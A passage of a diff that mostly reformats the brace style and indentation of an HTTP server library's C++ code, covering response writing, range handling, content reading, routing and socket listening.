error_handler_(req, res) == HandlerResponse::Handled) { + need_apply_ranges = true; } - if (!header_writer_(bstrm, res.headers)) { return false; } - - // Flush buffer - auto &data = bstrm.get_buffer(); - detail::write_data(strm, data.data(), data.size()); - } - - // Body - auto ret = true; - if (req.method != "HEAD") { - if (!res.body.empty()) { - if (!detail::write_data(strm, res.body.data(), res.body.size())) { - ret = false; - } - } else if (res.content_provider_) { - if (write_content_with_provider(strm, req, res, boundary, content_type)) { - res.content_provider_success_ = true; - } else { - res.content_provider_success_ = false; - ret = false; - } + std::string content_type; + std::string boundary; + if (need_apply_ranges) { + apply_ranges(req, res, content_type, boundary); } - } - // Log - if (logger_) { logger_(req, res); } + // Prepare additional headers + if (close_connection || req.get_header_value("Connection") == "close") { + res.set_header("Connection", "close"); + } else { + std::stringstream ss; + ss << "timeout=" << keep_alive_timeout_sec_ + << ", max=" << keep_alive_max_count_; + res.set_header("Keep-Alive", ss.str()); + } - return ret; + if (!res.has_header("Content-Type") && + (!res.body.empty() || res.content_length_ > 0 || res.content_provider_)) { + res.set_header("Content-Type", "text/plain"); + } + + if (!res.has_header("Content-Length") && res.body.empty() && + !res.content_length_ && !res.content_provider_) { + res.set_header("Content-Length", "0"); + } + + if (!res.has_header("Accept-Ranges") && req.method == "HEAD") { + res.set_header("Accept-Ranges", "bytes"); + } + + if (post_routing_handler_) { + post_routing_handler_(req, res); + } + + // Response line and headers + { + detail::BufferStream bstrm; + + if (!bstrm.write_format("HTTP/1.1 %d %s\r\n", res.status, + status_message(res.status))) { + return false; + } + + if (!header_writer_(bstrm, res.headers)) { + return false; + } + + // Flush buffer + auto &data = bstrm.get_buffer(); + detail::write_data(strm, data.data(), data.size()); + } + + // Body + auto ret = true; + if (req.method != "HEAD") { + if (!res.body.empty()) { + if (!detail::write_data(strm, res.body.data(), res.body.size())) { + ret = false; + } + } else if (res.content_provider_) { + if (write_content_with_provider(strm, req, res, boundary, content_type)) { + res.content_provider_success_ = true; + } else { + res.content_provider_success_ = false; + ret = false; + } + } + } + + // Log + if (logger_) { + logger_(req, res); + } + + return ret; } inline bool Server::write_content_with_provider(Stream &strm, const Request &req, Response &res, const std::string &boundary, - const std::string &content_type) { - auto is_shutting_down = [this]() { - return this->svr_sock_ == INVALID_SOCKET; - }; + const std::string &content_type) +{ + auto is_shutting_down = [this]() { + return this->svr_sock_ == INVALID_SOCKET; + }; - if (res.content_length_ > 0) { - if (req.ranges.empty()) { - return detail::write_content(strm, res.content_provider_, 0, - res.content_length_, is_shutting_down); - } else if (req.ranges.size() == 1) { - auto offsets = - detail::get_range_offset_and_length(req, res.content_length_, 0); - auto offset = offsets.first; - auto length = offsets.second; - return detail::write_content(strm, res.content_provider_, offset, length, - is_shutting_down); + if (res.content_length_ > 0) { + if (req.ranges.empty()) { + return detail::write_content(strm, res.content_provider_, 0, + res.content_length_, is_shutting_down); + } else if (req.ranges.size() == 1) { + auto offsets = + detail::get_range_offset_and_length(req, res.content_length_, 0); + auto offset = offsets.first; + auto length = offsets.second; + return detail::write_content(strm, res.content_provider_, offset, length, + is_shutting_down); + } else { + return detail::write_multipart_ranges_data( + strm, req, res, boundary, content_type, is_shutting_down); + } } else { - return detail::write_multipart_ranges_data( - strm, req, res, boundary, content_type, is_shutting_down); - } - } else { - if (res.is_chunked_content_provider_) { - auto type = detail::encoding_type(req, res); + if (res.is_chunked_content_provider_) { + auto type = detail::encoding_type(req, res); - std::unique_ptr compressor; - if (type == detail::EncodingType::Gzip) { + std::unique_ptr compressor; + if (type == detail::EncodingType::Gzip) { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - compressor = detail::make_unique(); + compressor = detail::make_unique(); #endif - } else if (type == detail::EncodingType::Brotli) { + } else if (type == detail::EncodingType::Brotli) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - compressor = detail::make_unique(); + compressor = detail::make_unique(); #endif - } else { - compressor = detail::make_unique(); - } - assert(compressor != nullptr); + } else { + compressor = detail::make_unique(); + } + assert(compressor != nullptr); - return detail::write_content_chunked(strm, res.content_provider_, - is_shutting_down, *compressor); - } else { - return detail::write_content_without_length(strm, res.content_provider_, - is_shutting_down); + return detail::write_content_chunked(strm, res.content_provider_, + is_shutting_down, *compressor); + } else { + return detail::write_content_without_length(strm, res.content_provider_, + is_shutting_down); + } } - } } -inline bool Server::read_content(Stream &strm, Request &req, Response &res) { - MultipartFormDataMap::iterator cur; - auto file_count = 0; - if (read_content_core( - strm, req, res, - // Regular - [&](const char *buf, size_t n) { - if (req.body.size() + n > req.body.max_size()) { return false; } - req.body.append(buf, n); - return true; - }, - // Multipart - [&](const MultipartFormData &file) { - if (file_count++ == CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT) { - return false; +inline bool Server::read_content(Stream &strm, Request &req, Response &res) +{ + MultipartFormDataMap::iterator cur; + auto file_count = 0; + if (read_content_core( + strm, req, res, + // Regular + [&](const char *buf, size_t n) { + if (req.body.size() + n > req.body.max_size()) { + return false; + } + req.body.append(buf, n); + return true; + }, + // Multipart + [&](const MultipartFormData &file) { + if (file_count++ == CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT) { + return false; + } + cur = req.files.emplace(file.name, file); + return true; + }, + [&](const char *buf, size_t n) { + auto &content = cur->second.content; + if (content.size() + n > content.max_size()) { + return false; + } + content.append(buf, n); + return true; + })) { + const auto &content_type = req.get_header_value("Content-Type"); + if (!content_type.find("application/x-www-form-urlencoded")) { + if (req.body.size() > CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH) { + res.status = StatusCode::PayloadTooLarge_413; // NOTE: should be 414? + return false; } - cur = req.files.emplace(file.name, file); - return true; - }, - [&](const char *buf, size_t n) { - auto &content = cur->second.content; - if (content.size() + n > content.max_size()) { return false; } - content.append(buf, n); - return true; - })) { - const auto &content_type = req.get_header_value("Content-Type"); - if (!content_type.find("application/x-www-form-urlencoded")) { - if (req.body.size() > CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH) { - res.status = StatusCode::PayloadTooLarge_413; // NOTE: should be 414? - return false; - } - detail::parse_query_text(req.body, req.params); + detail::parse_query_text(req.body, req.params); + } + return true; } - return true; - } - return false; + return false; } inline bool Server::read_content_with_content_receiver( Stream &strm, Request &req, Response &res, ContentReceiver receiver, MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) { - return read_content_core(strm, req, res, std::move(receiver), - std::move(multipart_header), - std::move(multipart_receiver)); + ContentReceiver multipart_receiver) +{ + return read_content_core(strm, req, res, std::move(receiver), + std::move(multipart_header), + std::move(multipart_receiver)); } inline bool Server::read_content_core(Stream &strm, Request &req, Response &res, ContentReceiver receiver, MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) const { - detail::MultipartFormDataParser multipart_form_data_parser; - ContentReceiverWithProgress out; + ContentReceiver multipart_receiver) const +{ + detail::MultipartFormDataParser multipart_form_data_parser; + ContentReceiverWithProgress out; - if (req.is_multipart_form_data()) { - const auto &content_type = req.get_header_value("Content-Type"); - std::string boundary; - if (!detail::parse_multipart_boundary(content_type, boundary)) { - res.status = StatusCode::BadRequest_400; - return false; + if (req.is_multipart_form_data()) { + const auto &content_type = req.get_header_value("Content-Type"); + std::string boundary; + if (!detail::parse_multipart_boundary(content_type, boundary)) { + res.status = StatusCode::BadRequest_400; + return false; + } + + multipart_form_data_parser.set_boundary(std::move(boundary)); + out = [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { + /* For debug + size_t pos = 0; + while (pos < n) { + auto read_size = (std::min)(1, n - pos); + auto ret = multipart_form_data_parser.parse( + buf + pos, read_size, multipart_receiver, multipart_header); + if (!ret) { return false; } + pos += read_size; + } + return true; + */ + return multipart_form_data_parser.parse(buf, n, multipart_receiver, + multipart_header); + }; + } else { + out = [receiver](const char *buf, size_t n, uint64_t /*off*/, + uint64_t /*len*/) { + return receiver(buf, n); + }; } - multipart_form_data_parser.set_boundary(std::move(boundary)); - out = [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { - /* For debug - size_t pos = 0; - while (pos < n) { - auto read_size = (std::min)(1, n - pos); - auto ret = multipart_form_data_parser.parse( - buf + pos, read_size, multipart_receiver, multipart_header); - if (!ret) { return false; } - pos += read_size; - } - return true; - */ - return multipart_form_data_parser.parse(buf, n, multipart_receiver, - multipart_header); - }; - } else { - out = [receiver](const char *buf, size_t n, uint64_t /*off*/, - uint64_t /*len*/) { return receiver(buf, n); }; - } + if (req.method == "DELETE" && !req.has_header("Content-Length")) { + return true; + } + + if (!detail::read_content(strm, req, payload_max_length_, res.status, nullptr, + out, true)) { + return false; + } + + if (req.is_multipart_form_data()) { + if (!multipart_form_data_parser.is_valid()) { + res.status = StatusCode::BadRequest_400; + return false; + } + } - if (req.method == "DELETE" && !req.has_header("Content-Length")) { return true; - } - - if (!detail::read_content(strm, req, payload_max_length_, res.status, nullptr, - out, true)) { - return false; - } - - if (req.is_multipart_form_data()) { - if (!multipart_form_data_parser.is_valid()) { - res.status = StatusCode::BadRequest_400; - return false; - } - } - - return true; } inline bool Server::handle_file_request(const Request &req, Response &res, - bool head) { - for (const auto &entry : base_dirs_) { - // Prefix match - if (!req.path.compare(0, entry.mount_point.size(), entry.mount_point)) { - std::string sub_path = "/" + req.path.substr(entry.mount_point.size()); - if (detail::is_valid_path(sub_path)) { - auto path = entry.base_dir + sub_path; - if (path.back() == '/') { path += "index.html"; } + bool head) +{ + for (const auto &entry : base_dirs_) { + // Prefix match + if (!req.path.compare(0, entry.mount_point.size(), entry.mount_point)) { + std::string sub_path = "/" + req.path.substr(entry.mount_point.size()); + if (detail::is_valid_path(sub_path)) { + auto path = entry.base_dir + sub_path; + if (path.back() == '/') { + path += "index.html"; + } - if (detail::is_file(path)) { - for (const auto &kv : entry.headers) { - res.set_header(kv.first, kv.second); - } + if (detail::is_file(path)) { + for (const auto &kv : entry.headers) { + res.set_header(kv.first, kv.second); + } - auto mm = std::make_shared(path.c_str()); - if (!mm->is_open()) { return false; } + auto mm = std::make_shared(path.c_str()); + if (!mm->is_open()) { + return false; + } - res.set_content_provider( - mm->size(), - detail::find_content_type(path, file_extension_and_mimetype_map_, - default_file_mimetype_), - [mm](size_t offset, size_t length, DataSink &sink) -> bool { - sink.write(mm->data() + offset, length); - return true; - }); + res.set_content_provider( + mm->size(), + detail::find_content_type(path, file_extension_and_mimetype_map_, + default_file_mimetype_), + [mm](size_t offset, size_t length, DataSink &sink) -> bool { + sink.write(mm->data() + offset, length); + return true; + }); - if (!head && file_request_handler_) { - file_request_handler_(req, res); - } + if (!head && file_request_handler_) { + file_request_handler_(req, res); + } - return true; + return true; + } + } } - } } - } - return false; + return false; } inline socket_t Server::create_server_socket(const std::string &host, int port, int socket_flags, - SocketOptions socket_options) const { - return detail::create_socket( - host, std::string(), port, address_family_, socket_flags, tcp_nodelay_, - std::move(socket_options), - [](socket_t sock, struct addrinfo &ai) -> bool { - if (::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { - return false; + SocketOptions socket_options) const +{ + return detail::create_socket( + host, std::string(), port, address_family_, socket_flags, tcp_nodelay_, + std::move(socket_options), + [](socket_t sock, struct addrinfo &ai) -> bool { + if (::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) + { + return false; + } + if (::listen(sock, CPPHTTPLIB_LISTEN_BACKLOG)) + { + return false; } - if (::listen(sock, CPPHTTPLIB_LISTEN_BACKLOG)) { return false; } return true; - }); + }); } inline int Server::bind_internal(const std::string &host, int port, - int socket_flags) { - if (!is_valid()) { return -1; } - - svr_sock_ = create_server_socket(host, port, socket_flags, socket_options_); - if (svr_sock_ == INVALID_SOCKET) { return -1; } - - if (port == 0) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - if (getsockname(svr_sock_, reinterpret_cast(&addr), - &addr_len) == -1) { - return -1; + int socket_flags) +{ + if (!is_valid()) { + return -1; } - if (addr.ss_family == AF_INET) { - return ntohs(reinterpret_cast(&addr)->sin_port); - } else if (addr.ss_family == AF_INET6) { - return ntohs(reinterpret_cast(&addr)->sin6_port); - } else { - return -1; + + svr_sock_ = create_server_socket(host, port, socket_flags, socket_options_); + if (svr_sock_ == INVALID_SOCKET) { + return -1; } - } else { - return port; - } -} -inline bool Server::listen_internal() { - auto ret = true; - is_running_ = true; - auto se = detail::scope_exit([&]() { is_running_ = false; }); - - { - std::unique_ptr task_queue(new_task_queue()); - - while (svr_sock_ != INVALID_SOCKET) { -#ifndef _WIN32 - if (idle_interval_sec_ > 0 || idle_interval_usec_ > 0) { -#endif - auto val = detail::select_read(svr_sock_, idle_interval_sec_, - idle_interval_usec_); - if (val == 0) { // Timeout - task_queue->on_idle(); - continue; + if (port == 0) { + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + if (getsockname(svr_sock_, reinterpret_cast(&addr), + &addr_len) == -1) { + return -1; } -#ifndef _WIN32 - } -#endif - socket_t sock = accept(svr_sock_, nullptr, nullptr); - - if (sock == INVALID_SOCKET) { - if (errno == EMFILE) { - // The per-process limit of open file descriptors has been reached. - // Try to accept new connections after a short sleep. - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - continue; - } else if (errno == EINTR || errno == EAGAIN) { - continue; - } - if (svr_sock_ != INVALID_SOCKET) { - detail::close_socket(svr_sock_); - ret = false; + if (addr.ss_family == AF_INET) { + return ntohs(reinterpret_cast(&addr)->sin_port); + } else if (addr.ss_family == AF_INET6) { + return ntohs(reinterpret_cast(&addr)->sin6_port); } else { - ; // The server socket was closed by user. + return -1; } - break; - } - - { -#ifdef _WIN32 - auto timeout = static_cast(read_timeout_sec_ * 1000 + - read_timeout_usec_ / 1000); - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); -#else - timeval tv; - tv.tv_sec = static_cast(read_timeout_sec_); - tv.tv_usec = static_cast(read_timeout_usec_); - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&tv), sizeof(tv)); -#endif - } - { - -#ifdef _WIN32 - auto timeout = static_cast(write_timeout_sec_ * 1000 + - write_timeout_usec_ / 1000); - setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); -#else - timeval tv; - tv.tv_sec = static_cast(write_timeout_sec_); - tv.tv_usec = static_cast(write_timeout_usec_); - setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&tv), sizeof(tv)); -#endif - } - - task_queue->enqueue([this, sock]() { process_and_close_socket(sock); }); + } else { + return port; } - - task_queue->shutdown(); - } - - return ret; } -inline bool Server::routing(Request &req, Response &res, Stream &strm) { - if (pre_routing_handler_ && - pre_routing_handler_(req, res) == HandlerResponse::Handled) { - return true; - } +inline bool Server::listen_internal() +{ + auto ret = true; + is_running_ = true; + auto se = detail::scope_exit([&]() { + is_running_ = false; + }); - // File handler - auto is_head_request = req.method == "HEAD"; - if ((req.method == "GET" || is_head_request) && - handle_file_request(req, res, is_head_request)) { - return true; - } - - if (detail::expect_content(req)) { - // Content reader handler { - ContentReader reader( - [&](ContentReceiver receiver) { - return read_content_with_content_receiver( - strm, req, res, std::move(receiver), nullptr, nullptr); - }, - [&](MultipartContentHeader header, ContentReceiver receiver) { - return read_content_with_content_receiver(strm, req, res, nullptr, - std::move(header), - std::move(receiver)); - }); + std::unique_ptr task_queue(new_task_queue()); - if (req.method == "POST") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - post_handlers_for_content_reader_)) { - return true; + while (svr_sock_ != INVALID_SOCKET) { +#ifndef _WIN32 + if (idle_interval_sec_ > 0 || idle_interval_usec_ > 0) { +#endif + auto val = detail::select_read(svr_sock_, idle_interval_sec_, + idle_interval_usec_); + if (val == 0) { // Timeout + task_queue->on_idle(); + continue; + } +#ifndef _WIN32 + } +#endif + socket_t sock = accept(svr_sock_, nullptr, nullptr); + + if (sock == INVALID_SOCKET) { + if (errno == EMFILE) { + // The per-process limit of open file descriptors has been reached. + // Try to accept new connections after a short sleep. + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + continue; + } else if (errno == EINTR || errno == EAGAIN) { + continue; + } + if (svr_sock_ != INVALID_SOCKET) { + detail::close_socket(svr_sock_); + ret = false; + } else { + ; // The server socket was closed by user. + } + break; + } + + { +#ifdef _WIN32 + auto timeout = static_cast(read_timeout_sec_ * 1000 + + read_timeout_usec_ / 1000); + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); +#else + timeval tv; + tv.tv_sec = static_cast(read_timeout_sec_); + tv.tv_usec = static_cast(read_timeout_usec_); + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&tv), sizeof(tv)); +#endif + } + { + +#ifdef _WIN32 + auto timeout = static_cast(write_timeout_sec_ * 1000 + + write_timeout_usec_ / 1000); + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); +#else + timeval tv; + tv.tv_sec = static_cast(write_timeout_sec_); + tv.tv_usec = static_cast(write_timeout_usec_); + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&tv), sizeof(tv)); +#endif + } + + task_queue->enqueue([this, sock]() { + process_and_close_socket(sock); + }); } - } else if (req.method == "PUT") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - put_handlers_for_content_reader_)) { - return true; - } - } else if (req.method == "PATCH") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - patch_handlers_for_content_reader_)) { - return true; - } - } else if (req.method == "DELETE") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - delete_handlers_for_content_reader_)) { - return true; - } - } + + task_queue->shutdown(); } - // Read content into `req.body` - if (!read_content(strm, req, res)) { return false; } - } + return ret; +} - // Regular handler - if (req.method == "GET" || req.method == "HEAD") { - return dispatch_request(req, res, get_handlers_); - } else if (req.method == "POST") { - return dispatch_request(req, res, post_handlers_); - } else if (req.method == "PUT") { - return dispatch_request(req, res, put_handlers_); - } else if (req.method == "DELETE") { - return dispatch_request(req, res, delete_handlers_); - } else if (req.method == "OPTIONS") { - return dispatch_request(req, res, options_handlers_); - } else if (req.method == "PATCH") { - return dispatch_request(req, res, patch_handlers_); - } +inline bool Server::routing(Request &req, Response &res, Stream &strm) +{ + if (pre_routing_handler_ && + pre_routing_handler_(req, res) == HandlerResponse::Handled) { + return true; + } - res.status = StatusCode::BadRequest_400; - return false; + // File handler + auto is_head_request = req.method == "HEAD"; + if ((req.method == "GET" || is_head_request) && + handle_file_request(req, res, is_head_request)) { + return true; + } + + if (detail::expect_content(req)) { + // Content reader handler + { + ContentReader reader( + [&](ContentReceiver receiver) { + return read_content_with_content_receiver( + strm, req, res, std::move(receiver), nullptr, nullptr); + }, + [&](MultipartContentHeader header, ContentReceiver receiver) { + return read_content_with_content_receiver(strm, req, res, nullptr, + std::move(header), + std::move(receiver)); + }); + + if (req.method == "POST") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + post_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "PUT") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + put_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "PATCH") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + patch_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "DELETE") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + delete_handlers_for_content_reader_)) { + return true; + } + } + } + + // Read content into `req.body` + if (!read_content(strm, req, res)) { + return false; + } + } + + // Regular handler + if (req.method == "GET" || req.method == "HEAD") { + return dispatch_request(req, res, get_handlers_); + } else if (req.method == "POST") { + return dispatch_request(req, res, post_handlers_); + } else if (req.method == "PUT") { + return dispatch_request(req, res, put_handlers_); + } else if (req.method == "DELETE") { + return dispatch_request(req, res, delete_handlers_); + } else if (req.method == "OPTIONS") { + return dispatch_request(req, res, options_handlers_); + } else if (req.method == "PATCH") { + return dispatch_request(req, res, patch_handlers_); + } + + res.status = StatusCode::BadRequest_400; + return false; } inline bool Server::dispatch_request(Request &req, Response &res, - const Handlers &handlers) const { - for (const auto &x : handlers) { - const auto &matcher = x.first; - const auto &handler = x.second; + const Handlers &handlers) const +{ + for (const auto &x : handlers) { + const auto &matcher = x.first; + const auto &handler = x.second; - if (matcher->match(req)) { - handler(req, res); - return true; + if (matcher->match(req)) { + handler(req, res); + return true; + } } - } - return false; + return false; } inline void Server::apply_ranges(const Request &req, Response &res, std::string &content_type, - std::string &boundary) const { - if (req.ranges.size() > 1) { - boundary = detail::make_multipart_data_boundary(); + std::string &boundary) const +{ + if (req.ranges.size() > 1) { + boundary = detail::make_multipart_data_boundary(); - auto it = res.headers.find("Content-Type"); - if (it != res.headers.end()) { - content_type = it->second; - res.headers.erase(it); - } - - res.set_header("Content-Type", - "multipart/byteranges; boundary=" + boundary); - } - - auto type = detail::encoding_type(req, res); - - if (res.body.empty()) { - if (res.content_length_ > 0) { - size_t length = 0; - if (req.ranges.empty()) { - length = res.content_length_; - } else if (req.ranges.size() == 1) { - auto offsets = - detail::get_range_offset_and_length(req, res.content_length_, 0); - length = offsets.second; - - auto content_range = detail::make_content_range_header_field( - req.ranges[0], res.content_length_); - res.set_header("Content-Range", content_range); - } else { - length = detail::get_multipart_ranges_data_length(req, res, boundary, - content_type); - } - res.set_header("Content-Length", std::to_string(length)); - } else { - if (res.content_provider_) { - if (res.is_chunked_content_provider_) { - res.set_header("Transfer-Encoding", "chunked"); - if (type == detail::EncodingType::Gzip) { - res.set_header("Content-Encoding", "gzip"); - } else if (type == detail::EncodingType::Brotli) { - res.set_header("Content-Encoding", "br"); - } + auto it = res.headers.find("Content-Type"); + if (it != res.headers.end()) { + content_type = it->second; + res.headers.erase(it); } - } + + res.set_header("Content-Type", + "multipart/byteranges; boundary=" + boundary); } - } else { - if (req.ranges.empty()) { - ; - } else if (req.ranges.size() == 1) { - auto content_range = detail::make_content_range_header_field( - req.ranges[0], res.body.size()); - res.set_header("Content-Range", content_range); - auto offsets = - detail::get_range_offset_and_length(req, res.body.size(), 0); - auto offset = offsets.first; - auto length = offsets.second; + auto type = detail::encoding_type(req, res); - if (offset < res.body.size()) { - res.body = res.body.substr(offset, length); - } else { - res.body.clear(); - res.status = StatusCode::RangeNotSatisfiable_416; - } + if (res.body.empty()) { + if (res.content_length_ > 0) { + size_t length = 0; + if (req.ranges.empty()) { + length = res.content_length_; + } else if (req.ranges.size() == 1) { + auto offsets = + detail::get_range_offset_and_length(req, res.content_length_, 0); + length = offsets.second; + + auto content_range = detail::make_content_range_header_field( + req.ranges[0], res.content_length_); + res.set_header("Content-Range", content_range); + } else { + length = detail::get_multipart_ranges_data_length(req, res, boundary, + content_type); + } + res.set_header("Content-Length", std::to_string(length)); + } else { + if (res.content_provider_) { + if (res.is_chunked_content_provider_) { + res.set_header("Transfer-Encoding", "chunked"); + if (type == detail::EncodingType::Gzip) { + res.set_header("Content-Encoding", "gzip"); + } else if (type == detail::EncodingType::Brotli) { + res.set_header("Content-Encoding", "br"); + } + } + } + } } else { - std::string data; - if (detail::make_multipart_ranges_data(req, res, boundary, content_type, - data)) { - res.body.swap(data); - } else { - res.body.clear(); - res.status = StatusCode::RangeNotSatisfiable_416; - } - } + if (req.ranges.empty()) { + ; + } else if (req.ranges.size() == 1) { + auto content_range = detail::make_content_range_header_field( + req.ranges[0], res.body.size()); + res.set_header("Content-Range", content_range); - if (type != detail::EncodingType::None) { - std::unique_ptr compressor; - std::string content_encoding; + auto offsets = + detail::get_range_offset_and_length(req, res.body.size(), 0); + auto offset = offsets.first; + auto length = offsets.second; - if (type == detail::EncodingType::Gzip) { + if (offset < res.body.size()) { + res.body = res.body.substr(offset, length); + } else { + res.body.clear(); + res.status = StatusCode::RangeNotSatisfiable_416; + } + } else { + std::string data; + if (detail::make_multipart_ranges_data(req, res, boundary, content_type, + data)) { + res.body.swap(data); + } else { + res.body.clear(); + res.status = StatusCode::RangeNotSatisfiable_416; + } + } + + if (type != detail::EncodingType::None) { + std::unique_ptr compressor; + std::string content_encoding; + + if (type == detail::EncodingType::Gzip) { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - compressor = detail::make_unique(); - content_encoding = "gzip"; + compressor = detail::make_unique(); + content_encoding = "gzip"; #endif - } else if (type == detail::EncodingType::Brotli) { + } else if (type == detail::EncodingType::Brotli) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - compressor = detail::make_unique(); - content_encoding = "br"; + compressor = detail::make_unique(); + content_encoding = "br"; #endif - } + } - if (compressor) { - std::string compressed; - if (compressor->compress(res.body.data(), res.body.size(), true, - [&](const char *data, size_t data_len) { - compressed.append(data, data_len); - return true; - })) { - res.body.swap(compressed); - res.set_header("Content-Encoding", content_encoding); + if (compressor) { + std::string compressed; + if (compressor->compress(res.body.data(), res.body.size(), true, + [&](const char *data, size_t data_len) { + compressed.append(data, data_len); + return true; + })) { + res.body.swap(compressed); + res.set_header("Content-Encoding", content_encoding); + } + } } - } - } - auto length = std::to_string(res.body.size()); - res.set_header("Content-Length", length); - } + auto length = std::to_string(res.body.size()); + res.set_header("Content-Length", length); + } } inline bool Server::dispatch_request_for_content_reader( Request &req, Response &res, ContentReader content_reader, - const HandlersForContentReader &handlers) const { - for (const auto &x : handlers) { - const auto &matcher = x.first; - const auto &handler = x.second; + const HandlersForContentReader &handlers) const +{ + for (const auto &x : handlers) { + const auto &matcher = x.first; + const auto &handler = x.second; - if (matcher->match(req)) { - handler(req, res, content_reader); - return true; + if (matcher->match(req)) { + handler(req, res, content_reader); + return true; + } } - } - return false; + return false; } inline bool Server::process_request(Stream &strm, bool close_connection, bool &connection_closed, - const std::function &setup_request) { - std::array buf{}; + const std::function &setup_request) +{ + std::array buf{}; - detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); + detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); - // Connection has been closed on client - if (!line_reader.getline()) { return false; } + // Connection has been closed on client + if (!line_reader.getline()) { + return false; + } - Request req; + Request req; - Response res; - res.version = "HTTP/1.1"; - res.headers = default_headers_; + Response res; + res.version = "HTTP/1.1"; + res.headers = default_headers_; #ifdef _WIN32 - // TODO: Increase FD_SETSIZE statically (libzmq), dynamically (MySQL). + // TODO: Increase FD_SETSIZE statically (libzmq), dynamically (MySQL). #else #ifndef CPPHTTPLIB_USE_POLL - // Socket file descriptor exceeded FD_SETSIZE... - if (strm.socket() >= FD_SETSIZE) { - Headers dummy; - detail::read_headers(strm, dummy); - res.status = StatusCode::InternalServerError_500; - return write_response(strm, close_connection, req, res); - } + // Socket file descriptor exceeded FD_SETSIZE... + if (strm.socket() >= FD_SETSIZE) { + Headers dummy; + detail::read_headers(strm, dummy); + res.status = StatusCode::InternalServerError_500; + return write_response(strm, close_connection, req, res); + } #endif #endif - // Check if the request URI doesn't exceed the limit - if (line_reader.size() > CPPHTTPLIB_REQUEST_URI_MAX_LENGTH) { - Headers dummy; - detail::read_headers(strm, dummy); - res.status = StatusCode::UriTooLong_414; - return write_response(strm, close_connection, req, res); - } - - // Request line and headers - if (!parse_request_line(line_reader.ptr(), req) || - !detail::read_headers(strm, req.headers)) { - res.status = StatusCode::BadRequest_400; - return write_response(strm, close_connection, req, res); - } - - if (req.get_header_value("Connection") == "close") { - connection_closed = true; - } - - if (req.version == "HTTP/1.0" && - req.get_header_value("Connection") != "Keep-Alive") { - connection_closed = true; - } - - strm.get_remote_ip_and_port(req.remote_addr, req.remote_port); - req.set_header("REMOTE_ADDR", req.remote_addr); - req.set_header("REMOTE_PORT", std::to_string(req.remote_port)); - - strm.get_local_ip_and_port(req.local_addr, req.local_port); - req.set_header("LOCAL_ADDR", req.local_addr); - req.set_header("LOCAL_PORT", std::to_string(req.local_port)); - - if (req.has_header("Range")) { - const auto &range_header_value = req.get_header_value("Range"); - if (!detail::parse_range_header(range_header_value, req.ranges)) { - res.status = StatusCode::RangeNotSatisfiable_416; - return write_response(strm, close_connection, req, res); + // Check if the request URI doesn't exceed the limit + if (line_reader.size() > CPPHTTPLIB_REQUEST_URI_MAX_LENGTH) { + Headers dummy; + detail::read_headers(strm, dummy); + res.status = StatusCode::UriTooLong_414; + return write_response(strm, close_connection, req, res); } - } - if (setup_request) { setup_request(req); } - - if (req.get_header_value("Expect") == "100-continue") { - int status = StatusCode::Continue_100; - if (expect_100_continue_handler_) { - status = expect_100_continue_handler_(req, res); + // Request line and headers + if (!parse_request_line(line_reader.ptr(), req) || + !detail::read_headers(strm, req.headers)) { + res.status = StatusCode::BadRequest_400; + return write_response(strm, close_connection, req, res); } - switch (status) { - case StatusCode::Continue_100: - case StatusCode::ExpectationFailed_417: - strm.write_format("HTTP/1.1 %d %s\r\n\r\n", status, - status_message(status)); - break; - default: return write_response(strm, close_connection, req, res); - } - } - // Rounting - auto routed = false; -#ifdef CPPHTTPLIB_NO_EXCEPTIONS - routed = routing(req, res, strm); -#else - try { - routed = routing(req, res, strm); - } catch (std::exception &e) { - if (exception_handler_) { - auto ep = std::current_exception(); - exception_handler_(req, res, ep); - routed = true; - } else { - res.status = StatusCode::InternalServerError_500; - std::string val; - auto s = e.what(); - for (size_t i = 0; s[i]; i++) { - switch (s[i]) { - case '\r': val += "\\r"; break; - case '\n': val += "\\n"; break; - default: val += s[i]; break; + if (req.get_header_value("Connection") == "close") { + connection_closed = true; + } + + if (req.version == "HTTP/1.0" && + req.get_header_value("Connection") != "Keep-Alive") { + connection_closed = true; + } + + strm.get_remote_ip_and_port(req.remote_addr, req.remote_port); + req.set_header("REMOTE_ADDR", req.remote_addr); + 